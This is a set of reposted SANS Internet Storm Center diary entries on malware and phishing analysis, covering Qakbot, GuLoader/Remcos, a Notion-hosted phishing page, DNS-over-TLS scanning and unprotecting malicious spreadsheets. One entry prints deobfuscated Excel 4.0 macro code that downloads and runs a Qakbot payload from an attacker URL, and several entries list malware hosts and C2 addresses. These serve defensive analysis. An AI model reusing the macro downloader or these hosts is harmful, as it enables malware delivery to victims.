This post was originally published on this site

Introduction

On Tuesday 2021-03-02, I generated a Qakbot (Qbot) infection on a Windows host in one of my Active Directory (AD) test environments, where I saw Cobalt Strike as follow-up activity.  I've seen Cobalt Strike from Qakbot infections before.  Below are two that I documented in December 2020.

• https://www.malware-traffic-analysis.net/2020/12/07/index.html
• https://www.malware-traffic-analysis.net/2020/12/15/index.html

I haven't documented one for the ISC yet, so today's diary reviews my Qakbot infection with Cobalt Strike seen on Tuesday 2021-03-02.

Shown above:  Flow chart for the Qakbot infection with Cobalt Strike from Tuesday 2021-03-02.

Images

Shown above:  Spreadsheet extracted from a zip archive attached to malspam pushing Qakbot.

Shown above:  Traffic from the infection filtered in Wireshark (image 1 of 3).

Shown above:  Traffic from the infection filtered in Wireshark (image 2 of 3).

Shown above:  Traffic from the infection filtered in Wireshark (image 3 of 3).

Shown above:  Initial DLL saved a the victim's Windows host.

Shown above:  Artifact saved to disk during the Qakbot infection.

Shown above:  Registry updates caused by Qakbot.

Indicators of Compromise (IOCs)

Malware from the infected Windows host:

SHA256 hash: 16a0c2f741a14c423b7abe293e26f711fdb984fc52064982d874bf310c520b12

• File size: 87,552 bytes
• File name: document-1955896638.xls
• File description: Excel spreadsheet with macro for Qakbot (Qbot)
• Any.Run analysis: https://app.any.run/tasks/713d7a1f-6905-4ddd-92e4-84c0bbc97f89
• Cape analysis: https://capesandbox.com/analysis/121176/
• Triage analysis: https://tria.ge/210302-1lphqmv2px

SHA256 hash: 24753d9f0d691b6d582da3e301b98f75abbdb5382bb871ee00713c5029c56d44

• File size: 434,744 bytes
• File location: hxxp://kfzhm28pwzrlk02bmjy[.]com/mrch.gif
• File location: C:Users[username]IEUDLK.CJF
• File description: Initial DLL for Qakbot (Qbot) retrieved by Excel macro
• Any.Run analysis: https://app.any.run/tasks/957a9919-b411-4724-b49f-8c9a1a4c95ab
• Cape analysis: https://capesandbox.com/analysis/120925/
• Triage analysis: https://tria.ge/210302-y9rqfzcq5x

Traffic to retrieve the initial Qakbot DLL:

• 8.209.64[.]96 port 80 – kfzhm28pwzrlk02bmjy[.]com – GET /mrch.gif

Qakbot C2 traffic:

• 207.246.77[.]75 port 995 – HTTPS traffic

Cobalt Strike traffic:

• 45.144.29[.]185 port 443 – HTTPS traffic
• 45.144.29[.]185 port 443 – logon.securewindows[.]xyz – HTTPS traffic
• 45.144.29[.]185 port 8080 – 45.144.29[.]185:8080 – GET /WjSH
• 45.144.29[.]185 port 8080 – logon.securewindows[.]xyz:8080 – GET /cx
• 45.144.29[.]185 port 8080 – 45.144.29[.]185:8080 – GET /en_US/all.js
• 45.144.29[.]185 port 8080 – 45.144.29[.]185:8080 – POST /submit.php?id=248927919

Final words

A pcap of the infection traffic and the associated malware can be found here.

—

Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

One of the best ways to test your detection portfolio is to emulate user actions on monitored systems.

I spotted Sim via Twitter and was immediately intrigued as I advocate strongly for any tools and features that enable configurable adversary emulation. Adversary emulation enables blue teams to validate and optimize their detection portfolio and thus determine the true efficacy of their detective capabilities. I do not consider any detection that has not been tested via direct purple or red team engagement, or via automated adversary emulation, as production ready. Per her GitHub repo, Hope Walker’s Sim is a C# application, configured via an XML file, that performs tasks based on the configuration to resemble user actions on a system in order to facilitate training and education. As a long time SOC and DFIR manager, training for me includes “training” detection and models to ensure optimal performance. IceMoonHSV’s projects appear to be fairly recent contributions to our community, I applaud Hope’s work here and offer a hearty welcome.

Again, referring to her repo content, user actions can be scripted using the task block in an XML configuration file where tasks are comprised of two components:

• Task configuration: three configuration tags determine the name of the task (for error tracing and configuration), the number of times the task will <loop>, and how long to <pause> between each action.
• Task actions: Many actions can be configured but it is recommended to maintain task granularity for more narrow, specified testing. Create multiple, scenario based config files, and run individual tests instead. Sim execute <actions> as part of user simulation. Sim performs each action as if scripted, executing one action after the other in sequential order. Sim does not wait for one action to complete before starting another, thus the importance of the <pause> and <sleep> tags.

Read the rest of Hope’s documentation for yourselves, there are plenty of details as to action configurations including <setclipboard>, <getclipboard>, and <plain> for plain text typed as if a user typing sequentially. There are numerous special key options as well as the ability to call executables via <process> and run PowerShell commands with <powershell>.

I built Sim in Visual Studio; it’s posted to GitHub as a source-only project but with a solution file so compiling your own sim.exe is quick and easy. I also created a copy of the admindemo.xml file found in XMLExamples, saved it as sim_toolsmith_demo.xml and made some tweaks to create a more adversarial user.
I’ve shared my modifications for your use and consideration as a Gist.

Calling my demo file with sim.exe is as easy as Sim.exe sim_toolsmith_demo.xml (unique to your file structure) at an admin command prompt.

Figure 1: Sim with actions config file

Rather than talk about it, I captured a video to exhibit Sim’s run through my adversarial user configuration file. Imagine this adversary as a script kiddie who has popped a system and is now searching for hacker tools to expand terrain. You’ll note PowerShell calls as well as command prompt actions. Actions also include Google searches, including multiple browser tabs, as well as keyboard tabs to land on desired search content. This config also saves the Windows Security event log, noteworthy because it could just as easily have cleared it, which should always trigger an alert.

Sim demo video

As you can see, Sim does a great job of emulating user behaviors, and can easily be configured to conduct far more adversarial behaviors as desired. This particular demonstration would likely trigger alerts for web filtering rules intended to block access to hacker tools. Detections that make use of PowerShell logging could certainly be easily tested here as well. And again, if the Security event log had been cleared instead of simply written off to a file, any detection rules or signatures monitoring the 1100 series of Windows Event Logs would have triggered, particularly Event ID 1102 – The audit log was cleared.
I assert that Sim could be batched and automated. You could deploy an entire range of adversary emulations to a central share then call a master file during a desired and scheduled test or emulation window. Group Policy is even an option. Obviously, it is not recommended to fire off Sim jobs designed to emulate adversarial behavior without working with your leadership and any teams who may be monitoring user behaviors. Much like penetration testing, definitely ask for written permission rather than forgiveness after the fact.
I hope Hope will keep developing against this project, the possibilities are endless for adversary emulation scenarios, end Sim is really light and highly flexible. It’s great work, please safely give it a go for yourselves!

Cheers…until next time.

Russ McRee | @holisticinfosec

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Going back a few weeks, we discussed how DNS over HTTPS (DoH) works (https://isc.sans.edu/forums/diary/Fun+with+NMAP+NSE+Scripts+and+DOH+DNS+over+HTTPS/27026/)  – very much as an unauthenticated API over HTTPS.  But DNS over TLS (DoT) has been with us for a fair bit longer (May 2016), why haven't we heard about it so much?

After wrestling with it for a bit, I can tell you why!

DoH is easy to work with, since we have so many HTTPS tools at our disposal.  Plus DoH was first implemented in browsers, and the browser developers *live* in HTTPS, so DoH is a cake-walk for them.  DNSSEC is basically plain old unencrypted DNS, but with signature records.

DoT on the other hand is a whole 'nother beast.  It's still basic DNS, but encapsulated in TLS.  So to make DoT calls we need a toolset to create TLS packets, then send and validate them using the certificate at the server side.  So the first tool that came to my mind of course was scapy, but read on, I used an easier method ..

To allow all of the mentioned DNS protocols to live on one server, DoT lives on tcp/853.  This makes for an easy NMAP scan if you're looking for this service.  NMAP tags the port correctly, but an NMAP version scan (-sV) won't identify  the DoT service.  It will however find some critical strings in the fingerprint, things like "DNSVersionBindReqTCP" and "DNSStatusRequestTCP" – so a version scan will validate the service enough for your eyes to see it, without calling it out definitively.  You can also of course validate the certificate on port tcp/853 using NMAP's ssl-cert.nse script or openssl:

nmap -p853 –script ssl-cert 8.8.8.8 Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-01 07:55 Eastern Standard Time Nmap scan report for 8.8.8.8 Host is up (0.012s latency).   PORT    STATE SERVICE 853/tcp open  domain-s | ssl-cert: Subject: commonName=dns.google/organizationName=Google LLC/stateOrProvinceName=California/countryName=US | Subject Alternative Name: DNS:dns.google, DNS:*.dns.google.com, DNS:8888.google, DNS:dns.google.com, DNS:dns64.dns.google, IP Address:2001:4860:4860:0:0:0:0:64, IP Address:2001:4860:4860:0:0:0:0:6464, IP Address:2001:4860:4860:0:0:0:0:8844, IP Address:2001:4860:4860:0:0:0:0:8888, IP Address:8.8.4.4, IP Address:8.8.8.8 | Issuer: commonName=GTS CA 1O1/organizationName=Google Trust Services/countryName=US | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2021-01-26T08:54:07 | Not valid after:  2021-04-20T08:54:06 | MD5:   9edd 82e5 5661 89c0 13a5 cced e040 c76d |_SHA-1: 2e80 c54b 0c55 f8ad 3d61 f9ae af43 e70c 1e67 fafd Nmap done: 1 IP address (1 host up) scanned in 24.43 seconds

Me, I took the easy way out for DoT queries and installed the knot-dnsutils (sudo apt-get install knot-dnsutils), which installs kdig to do all the heavy lifting for me.  As the name implies, kdig does just about everything that dig does, but for this task gives you parameters to make DoT queries.

So an A record query over DoT from kdig looks just very much like DOS query outpuyt from dig:

$ kdig @dns.google.com +tls-ca  isc.sans.edu A ;; TLS session (TLS1.3)-(ECDHE-X25519)-(RSA-PSS-RSAE-SHA256)-(AES-256-GCM) ;; ->>HEADER<<- opcode: QUERY; status: NOERROR; id: 57540 ;; Flags: qr rd ra; QUERY: 1; ANSWER: 2; AUTHORITY: 0; ADDITIONAL: 1   ;; EDNS PSEUDOSECTION: ;; Version: 0; flags: ; UDP size: 512 B; ext-rcode: NOERROR ;; PADDING: 391 B ;; QUESTION SECTION: ;; isc.sans.edu.                IN      A ;; ANSWER SECTION: isc.sans.edu.           4       IN      A       45.60.103.34 isc.sans.edu.           4       IN      A       45.60.31.34   ;; Received 468 B ;; Time 2021-03-01 04:58:51 PST ;; From 8.8.8.8@853(TCP) in 38.9 ms

Note all the TLS session info at the top, and the port number in the last line.

As you'd expect, if you're just after answers you can use the +short parameter:

# kdig @dns.google.com +tls-ca +short www.coherentsecurity.com AAAA robvandenbrink.github.io.

.. yup, I host my website on github, handiest github feature ever (ok, maybe not the handiest, but still pretty darned handy)

Other handy parameters in kdig?

• Just as in dig, you can always tack on the "-d" parameter for debug output
• +tls-hostname can be used to over-ride the server name during TLS negotiation.  This means you can even use the server's IP address when you use this parameter.
• Related to tls-hostname, +tls-sni adds the Server Name Indication field to the request

Without constructing the TLS packet, how can I use DoT in an NMAP script?  I again took the easy way out and used kdig, in combination with the lua command os.execute.  Yup, in the time honoured tradition of coding laziness I shelled out and executed the matching OS command!  In the DoH script I wrote I did a quick check to make sure that the host was running HTTP services on port 443 with "shortport.http".  In the DoT script I changed this, to ensure that TLS is running on the scanned port, using the "shortport.ssl" check.  An example scan is shown below:

$ nmap -p853 –script dns-dot.nse 8.8.8.8 –script-args target=www.cisco.com,query=AAAA Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-01 05:13 PST Nmap scan report for dns.google (8.8.8.8) Host is up (0.017s latency).   PORT    STATE SERVICE 853/tcp open  domain-s | dns-dot: |   www.cisco.com.akadns.net. |   wwwds.cisco.com.edgekey.net. |   wwwds.cisco.com.edgekey.net.globalredir.akadns.net. |   e2867.dsca.akamaiedge.net. |   2607:f798:d04:189::b33 |_  2607:f798:d04:191::b33   Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

You can find the DoT script here: https://github.com/robvandenbrink/dns-dot . Because is calls kdig, you'll need the knot-dnsutils package installed before this script will run.  If you're interested in combining NMAP scans with different OS commands you're welcome to review the source code and use whatever you need!

Do you have a handy nmap script that uses os.execute to do the "behind the scenes" work?  Please, share a link in our comment form!

 

References:
DoT RFD: https://tools.ietf.org/html/rfc7858

Usage Profiles for DNS over TLS and DNS over DTLS: https://tools.ietf.org/html/rfc8310

knot-dnsutils: https://www.knot-dns.cz/

 

===============
Rob VandenBrink
rob<at>coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

In diary entry "Unprotecting Malicious Documents For Inspection" I explain how to deal with protected malicious Excel documents by removing the protection passwords.

I created a new version of my plugin plugin_biff that attempts to recover protection passwords with a dictionary attack.

Here I use it with Brad's malicious spreadsheet sample:

It's not possible to determine if the recovered passwords (piano1 and 1qaz2wsx) are the actual passwords used by the malicious actors, or if they are the result of hash collisions (it's only a 32-bit hash). But they do work: you can remove the protections by using these passwords.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

I received this phishing email yesterday that seemed very strange with this short and urgent message:

"The Classic version of Outlook Mail will be replaced by our new version. So it's time to verify, before you lose your email access."

Holding and hovering my cursor over the URL, it was pointing to a site which has nothing to do with office (www[.]notion[.]so). The site is described as a All-in-one workspace to share information.

Following the URL, the page kind of look legitimate. However, the Outlook mail icon are just pictures, not posible to select anything. Another good give away that something isn't right in the right corner a picture with Notion. The only option is to "Click Here" which lead to the URL in the picture below.

Following the link, Firefox then provide this warning:

This is tax time which is prime for phishing scams (phone or email), they might have already started in your region. This SANS material [3][4], a poster and a training video, are a good reminder how these scam work. They can be shared with family members and coworkers to help them recongnize, detect and avoid being taken by phishing attacks.

Indicator of Compromise

https://www.notion[.]so/OUTLOOK-MAIL-e8a3b1516dd74f589b3d543bb93f6472 [1]
https://mail0.godaddysites[.]com [2]

[1] https://www.virustotal.com/gui/url/66c05ccf9efefa57705efae249dd8f96dec132c28060f41b361ed0d509a3f50a/detection
[2] https://www.virustotal.com/gui/url/7a7709eb06749d01f37f4611459d237165c1467eeff6488976d51a2de31ed0b9/detection
[3] https://www.sans.org/security-awareness-training/resources/posters/dont-get-hooked (Poster)
[4] https://www.youtube.com/watch?v=sEMrBKmUTPE (SANS Security Awareness: Email and Phishing)
[5] https://www.canada.ca/en/revenue-agency/corporate/security/protect-yourself-against-fraud.html
[6] https://www.irs.gov/newsroom/tax-scams-consumer-alerts
[7] https://ec.europa.eu/taxation_customs/node/1029_en
[8] https://www.gov.uk/government/organisations/hm-revenue-customs/contact/reporting-fraudulent-emails

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Last week I posted about a new Satori variant scanning on TCP port 26 that I was picking up in my honeypots. Things have slowed down a bit, but levels are still above where they had been since mid-July 2020 on %%port:26%%.

In some discussion afterward, a question that came up was where were the attacks coming from. My first thought was to take the IPs and run them through the Maxmind DB to geolocate them and map them. I first looked around to see if there was a Python script that would do the job using the Maxmind and Google Maps APIs. I didn't actually find what I was hoping for. I did find a few things that I can probably make work eventually (and if I have some time after I teach next week), perhaps I'll work more on that. In the meantime, Xavier threw the IPs in Splunk for me and got me some maps to show where the attacks were coming from. Now, it turns out that of the 384 attacks I recorded in 2 of my honeypots over the first 3 or 4 days of the spike, they came from 340 distinct IPs. The verdict is… most of them were coming from Korea. Here's what we got.

And if I zoom in on Asia, we see this

And, finally, I took a look at the US.

So, I'm not sure exactly what to make of all of this. I ran a few of these IPs through Shodan and didn't come up with anything in particular that they seemed to have in common, but maybe I didn't run enough of them.

If nothing else, this has given me some ideas of projects I need to work on when I have some free time. If anyone has any additional insight, I welcome your comments below or via e-mail or our contact page.

—————
Jim Clausing, GIAC GSE #26
jclausing –at– isc [dot] sans (dot) edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Introduction

Malicious spam (malspam) pushing GuLoader malware has been around for over a year now. GuLoader is a file downloader first observed in December 2019, and it has been used to distribute a wide variety of malware, especially malware based on remote administration tools (RATs).  I wrote a blog last year examining malspam using GuLoader for Netwire RAT.  And GuLoader activity has continued since then.

Today's diary reviews a case of malspam pushing GuLoader for Remcos RAT on Tuesday 2021-02-23.

Shown above:  Flow chart for the Remcos RAT infection reviewed in today's diary.

The malspam

Shown above:  Screenshot of the malspam.

The malspam is supposedly from someone in Lowes from Canada.  Below are some email headers associated with this message.

As noted above, the sender is supposedly from lowes-ca.org, but this site is not associated with Lowes. That domain has an open directory for its web server, and it seems like it's being used for malicious purposes.

Shown above:  Lowes-ca.org when viewed in a web browser.

The attachment

I opened the attachment in my lab, but I was on a Windows 10 host running a recent version of Microsoft Office.  Initially, I didn't realize this was a document with an exploit targeting CVE-2017-11882.  I had to switch to an older Windows 7 host to get an infection.

Shown above:  Screenshot of the attachment opened in Excel.

The infection traffic

Infection traffic was typical for what I've seen with previous GuLoader infections for some sort of RAT-based malware.  In this case, the infected Windows host was unable to establish a TCP connection with the server used by this sample for Remcos RAT.

Shown above:  Traffic from the infection filtered in Wireshark.

Forensics on the infected Windows host

The infected Windows host had GuLoader persistent on the infected host using a registry update.  When rebooted, the GuLoader sample again retrieved the encoded binary for Remcos RAT.

Shown above:  GuLoader for Remcos RAT persistent on the infected Windows host.

Indicators of Compromise (IOCs)

Associated malware:

SHA256 hash: 21c4c697c6cba3d1d7f5ae5d768bf0c1d716eccc4479b338f2cf1336cf06b8ad

• File size: 2,231,808 bytes
• File name: Lowes_Quotation_PN#1092021.xlsx
• File description: Email attachment, Word doc with exploit for CVE-2017-11882

SHA256 hash: 6141efb6f1598e2205806c5a788e61c489440dfc942984ee1688bb68ad0f18df

• File size: 106,496 bytes
• File location: hxxp://mtspsmjeli.sch[.]id/Img/VOP.exe
• File location: C:Users[username]AppDataRoamingwin.exe
• File description: Windows EXE, GUI Loader for Remcos RAT

Infection traffic:

GuLoader EXE retrieved through CVE-2017-11882 exploit:

• 103.150.60[.]242 port 80 – mtspsmjeli.sch[.]id – GET /Img/VOP.exe

GuLoader retrieves encoded data for Remcos RAT:

• 103.150.60[.]242 port 80 – mtspsmjeli.sch[.]id – GET /cl/VK_Remcos%20v2_AxaGIU151.bin

Remcos RAT post-infection traffic:

• 192.253.246[.]142 port 2009 – hsyuwbvxczbansmloiujdhsbnbcgywqauaghxvz.ydns[.]eu – attempted TCP connections

Final words

We continue to see new malware samples using exploits based on CVE-2017-11882 in the wild.  This vulnerability is over 3 years old, and exploits targeting it are not effective against the most recent versions of Microsoft Windows and Office.  The only reason we continue to see these new samples is because distributing exploits based on CVE-2017-11882 remains profitable.  That means a substantial number of people still use outdated versions of Microsoft Office and/or Windows that are not properly patched or updated.

GuLoader has been a relatively a constant presence in our threat landscape since it was discovered in December 2019, so I expect we'll also continue to see new samples for various RAT-based malware in the weeks and months ahead.

—

Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Given its history, the Full Disclosure mailing list[1] is probably one of the best-known places on the internet where information about newly discovered vulnerabilities is may be published in a completely open way. If one wishes to inform the wider security community about a vulnerability one found in any piece of software, one only has to submit a post and after it is evaluated by the moderators, the information will be published to the list. Whatever your own thoughts on the issues of full or limited disclosure might be, the list can be an interesting source of information.

Couple of years back, I posted a message to the list about a small vulnerability I found in a plugin for the CMS Made Simple content management system[2]. And last week, to my surprise, I received what appeared to be a reply to my post… Although at a first glance, its contents seemed more than a little suspicious.

The headers in the message showed that although it was really sent in a reply to the post from 2019 (the “In-Reply-To” and “References” headers contained the correct message ID of the original mail), it didn’t go through the mailing list itself.

...
MIME-Version: 1.0
Date: Thu, 18 Feb 2021 17:39:51 +0100
...
Message-ID: <79D7756F0F0A254E2BAAEC82026BE789678AF944@unknown>
Subject: [Jan Kopriva] [FD] Open Redirection vulnerability in Babel (CMSMS
 Module)
...
Content-Type: multipart/mixed; boundary="------------000309030201050000030608"
sender: Fulldisclosure <fulldisclosure-bounces@seclists.org>
X-Priority: 3 (Normal)
From: techis <athena70@...
...
In-Reply-To: <ef820095cca8c21326c29a3c0ef6d547@untrustednetwork.net>
References: <ef820095cca8c21326c29a3c0ef6d547@untrustednetwork.net>
...

The sender address, which may be seen in the picture above (“fulldislosure-bounces … on behalf of”), might make the message appear as if it did originate from the mailing list, however this information, just as the identity of the sender which recipient sees after opening the message, is only based on one of the message headers (in this case “sender”), which means that it may be set almost arbitrarily by the sender.

The attachment contained an XLS file (document-1544458006.xls).

Upon closer inspection, the file turned out to contain Excel 4.0 macros.

In cases of documents with Excel 4.0 macros, I find that to get a quick (and admittedly very dirty) look at their code, it is not a bad idea to simply copy contents of all the Excel sheets with macros into a text file and remove all unnecessary whitespaces. If the macros aren’t heavily obfuscated, this approach may result in something readable. Luckily, this was one of those cases, as you may see from the following code.

=Doc1!AK28()
	=""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AP41&"2 ",AD15)	=""&""&""&""&""&""&""&""&""&""&""&""&FORMULA(AQ41,AE15)
	=AE14()	=Doc2!AC12()=FORMULA(AO36&AO37&AO38&AO39&AO40&AO41,AO25)
=AG24()
=CALL(AO25,Doc2!AC13&Doc2!AC12&AG25&"A","JJC"&"CBB",0,Doc1!A100,""&""&""&""&""&""&""&""&""&""&""&""&""&""&""&Doc1!AQ30,0)
=AO5()
=REPLACE(Doc1!AQ25,6,1,Doc1!AQ26)	
=REPLACE(AP34,6,1,Doc1!AL12)		URLMon		egist
=AK22()	erServer
=""&""&""&""&""&""&""&""&""&""&""&""&EXEC(Doc1!AD15&Doc1!AQ30&Doc1!AE15&AG24)	r	,	
=HALT()	u	D	
	n	l	..idefje.ekfd
	d	l	
	l	R	
	l		
	3	File	
		Dow	
	U		
	R		
	L		
	M	URL	
	o		
	n	rundll3	,DllR



="https://jordanbetterworkplace.org/ds/1802."&C100		gif	

=REPLACE(Doc1!AP35,7,7,"nloadTo")
=REPLACE(Doc1!AP39,7,7,"")
=REPLACE(#REF!AB7&#REF!AB8&#REF!AB9&#REF!AB10&#REF!AB11,7,7,"l3")
=Doc1!AH16()

Although there is some elementary obfuscation applied to the code, few of the rows provide a good enough idea of what the macros are probably supposed to do (i.e. most likely download and run the contents of https[:]//jordanbetterworkplace[.]org/ds/1802.gif). The URL was no longer active by the time I got to it, but from a recent analysis of a nearly identical file by the Hatching Triage sandbox[3] as well as threat intelligence data available for the URL itself[4], it is clear that the final payload was supposed to be the Qakbot infostealer.

Although one may only guess at the background, since the e-mail carrying the XLS contained valid message ID of the original e-mail sent to the mailing list in its headers, it is quite probable, that it was really sent in response to the Full Disclosure post. Probably after some threat actor managed to compromise an e-mail account, which was subscribed to the list.

If this was the case, I would however expect not to be the only recipient of a similar message, so if any of our readers is a contributor to the FD list, please let us know in the comments if you’ve received something similar.

Regardless, what brought the message to my attention in the first place (i.e. it appearing as if it was sent through the Full Disclosure mailing list) turned out to be a coincidence more than anything else. It was however a good reminder that similar coincidences do happen and may sometimes lead to recipients receiving very trustworthy looking messages…even though it might not be through intentional activity on the part of the attackers.

Indicators of Compromise (IoCs)
document-1544458006.xls (89 kB)
MD5 – 871f8ff683479dee3546a750e1a04808
SHA1 – 5b1344d6d6148ebdaa508a2b25fa2ce0fed87e57

[1] https://seclists.org/fulldisclosure/
[2] https://seclists.org/fulldisclosure/2019/Mar/11
[3] https://tria.ge/210218-pnw1z6fjv2
[4] https://urlhaus.abuse.ch/url/1017981/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

I wanted to take a look at Brad's malicious spreadsheet, using Excel inside a VM.

But I can not make changes or unhide sheets, as the workbook and the sheets are protected:

And the protection password is not "VelvetSweatshop".

Thus I started to remove this protection.

First of all, the malicious spreadsheet is also encrypted: it has an encryption password and protections passwords. But since the encryption password is VelvetSweatshop, the user doesn't have to provide the password to decrypt the document upon opening.

However, I need to decrypt this document first, so that I can remove the protections. I do this with my tool msoffcrypto-crack.py:

When an Office document is encrypted with a password, the content of the document is cryptographically encrypted, and you need the password to decrypt the document. That's what I just did.

When an Office document is protected with a password, the content of the document is not encrypted. The content remains readable (cleartext). However, flags are set so that Excel will prevent you from altering the document. I explain how you can remove this protection by clearing the flags and passwords in my blog post "Quickpost: oledump.py plugin_biff.py: Remove Sheet Protection From Spreadsheets".

For this malicious spreadsheet, I'm going to take a slightly different route: I'm going to "change" the protection passwords (unknown to me) to passwords known to me.

To achieve this, I need to change some bytes in records that make up the Excel spreadsheet. I'm using my tool oledump.py with plugin plugin_biff to locate these records:

BIFF records PASSWORD contain 2 bytes of data: this is a custom hash of the actual password. When these 2 bytes are 00 00, there is no password.

Here the hashes are 41 CB and 4D 91. I'm going to replace these bytes with AB 94. AB 94 is the hash for password P@ssw0rd. So by replacing these bytes, I "replace" an unknown password by a known password.

I use option -R of plugin_biff to get a complete hexdump of the BIFF records (record-type + record-length + record-data), that I then use with a hexadecimal editor to search for these records in the sample file, and replace the hashes' bytes:

Searching for 1300020041cb:

Replacing 41cb with ab94:

Searching for 130002004d91:

Replacing 4d91 with ab94:

Now I have a malicious spreadsheet, that is still protected (workbook and sheets), but now I know the protection passwords (P@ssw0rd).

Final step: I open this modified malicious spreadsheet with Excel inside a VM, unprotect it with password P@ssw0rd, and inspect the malicious Excel 4 macros:

 

The Excel 4 macro sheet is hidden, but now I can unhide it because the malicious spreadsheet is no longer protected:

Some closing remarks:

• In my blog post "Quickpost: oledump.py plugin_biff.py: Remove Sheet Protection From Spreadsheets" I show how to reset the flags and remove the passwords for protected sheets, here I show how to change the passwords for protected workbook and sheets.
• I could also crack the hashes in stead of replacing them with a known hash. Since this is a 32-bit hash, I expect that cracking it will be fast. Collisions for a 32-bit hash are not rare, with a brute-force attack it's possible that you would obtain a working password that is not the original password.
• I could also unhide the sheets with a hexadecimal editor, as explained in diary entry "Excel Maldocs: Hidden Sheets".
• There are commercial tools that do this manual process for you automatically.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.